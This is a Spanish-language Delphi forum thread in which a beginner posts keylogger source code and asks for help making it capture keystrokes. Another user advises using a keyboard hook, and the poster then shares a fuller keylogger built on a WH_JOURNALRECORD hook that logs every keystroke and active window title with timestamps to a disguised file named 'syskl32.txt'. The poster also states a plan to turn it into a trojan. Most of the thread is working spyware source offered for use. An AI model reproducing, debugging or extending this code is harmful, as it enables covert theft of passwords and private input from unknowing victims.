buenas a todos estoy compilando un keylogger que encontre por ahi
y le agrege el active caption el problema es que no me captura las key
agradesco alguna solucion, el error debe ser grosero ya que comenze hace un par de meses con delphi.

Código: Seleccionar todo

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    capturar: TTimer;
    procedure capturarTimer(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
     sactivecaption,scaptionOld : string;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
 function Coloca(txt: String): String;

 begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

procedure TForm1.capturarTimer(Sender: TObject);
 function activecaption: String;
  var
Handle: THandle;
Len: LongInt;
Title: string;
begin
Result := '';
Handle := GetForegroundWindow;
if Handle <> 0 then
begin
Len := GetWindowTextLength(Handle) + 1;
SetLength(Title, Len);
GetWindowText(Handle, PChar(Title), Len);
activecaption := TrimRight(Title);
end;
end;
begin
scaptionOld:=sactivecaption;
sactivecaption := activecaption;
if sactivecaption <> scaptionOld then
Memo1.Lines.Add('['+activecaption+']<'+DateToStr(Date)+'>');
 end;
 var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACK] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [flecha izq] ');
38: Coloca(' [flecha arriba] ');
39: Coloca(' [flecha der] ');
40: Coloca(' [flecha abajo] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN izq] ');
92: Coloca(' [WIN der] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFe] ');
193: Coloca('/');
194: Coloca(' [NUM punto] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;

end.
paresco malo ,pero soy bueno
Primero que nada... da mucha pereza leer código sin una buena tabulación...

Después... has iniciado el 'timer' para que ejecute cada XXX mili-segundos la función/procedimiento que le corresponda? no sé si se me habrá pasado entre tanta maraña de código...

Como keylogger no está mal, pero es recomendable usar algún Hook de teclado, porque de el modo en que lo tienes hecho, seguramente se le pase alguna pulsación de tecla. Pero como comienzo no está mal, el primer Keylogger que codee, era algo similar.

Salu2!
[ Lo importante no es el final, sino el camino recorrido ]
para redimirme coloco codigo de 1 keyloger con hook
solo funciona en xp (WH_JOURNALRECORD) lo saque de un foro de delphi
solamente agrege DateTimeToStr(Now), el tmemo lo coloque para cargar el
txt que genera pero nunca lo implemente, bueno ahora solo me queda solucionar el tema del troyano exitos!!!

Código: Seleccionar todo

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;


implementation

{$R *.dfm}

  var
    szCurApp: string;
HookHandle: HHook;
lpMsg: TMsg;
 function ExtractFilePath(APath:string):string;
var
LI,LJ:Integer;
begin
if (Length(APath)<>0) and (Pos('\',APath)>0) then
begin
  LJ:=0;
  for LI:=Length(APath) downto 1 do
   if APath[LI]='' then
   begin
    LJ:=LI;
    Break;
   end;
  Result:=Copy(APath,1,LJ);
end else Result:='';
end;

function CurrentDir:String;
var
  Buffer:array[0..260] of Char;
begin
  GetModuleFileName(0, Buffer, Sizeof(Buffer));
  result:=ExtractFilePath(Buffer);
end;

function JHProc(nCode:integer; wParam: Longint; var EventStrut: TEVENTMSG): Longint; stdcall;
var
szletta,HBuf,ThePath:string;
hFile,BytesWritten:dword;
szCurAppNm:array[0..260] of Char;
Charry:Array[0..1] of Char;
VirtKey,ScanCode:Cardinal;
KeyState:TKeyBoardState;
nametext:Array[0..32] of Char;
begin
if (nCode = HC_ACTION) and (EventStrut.message = WM_KEYDOWN)
  then begin
   VirtKey:=LOBYTE(EventStrut.paramL);
   ScanCode:=HIBYTE(EventStrut.paramL);
   ScanCode:=ScanCode shl 16;
   ThePath:='syskl32.txt';// syskl32.ss is where it stores the logged Keys

   hFile:=CreateFile(pchar(ThePath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
   SetFilePointer(hFile, 0, nil, FILE_END);
   GetWindowText (GetForegroundWindow, szCurAppNm, sizeof(szCurAppNm));
   if szCurAppNm <> szCurApp
    then begin
     szCurApp:=szCurAppNm;
     HBuf:= #13#10+#13#10+'['+DateTimeToStr(Now)+' '+szCurAppNm+' ]'+#13#10;
     WriteFile(hFile, pchar(HBuf)^, length(HBuf), BytesWritten, nil);
    end;
   GetKeyNameText(ScanCode,nametext,sizeof(nametext));
   if VirtKey = VK_CAPITAL then szletta:=#0
   else if VirtKey = VK_SHIFT then szletta:=#0
   else if VirtKey = VK_SPACE then szletta:='  '
   else if lstrlen(nametext) > 1 then szletta:='['+nametext+']'

  else
    begin
     GetKeyboardState(KeyState);
     ToAscii(VirtKey,ScanCode, KeyState, Charry, 0);
     szletta:=Charry;
    end;
   if szletta <> '' then WriteFile(hFile, pchar(szletta)^, length(szletta), BytesWritten, nil);
   CloseHandle(hFile);
  end;
CallNextHookEx(HookHandle, nCode, wParam, Integer(@EventStrut));
Result:=0;

end;

begin
HookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, HInstance, 0);
while 1=1
  do begin
   WaitMessage;
   GetMessage(lpMsg,0,0,0);
   if lpMsg.message = WM_CANCELJOURNAL then HookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, HInstance, 0);
  end;

  end. 
paresco malo ,pero soy bueno
Responder

Volver a “Delphi”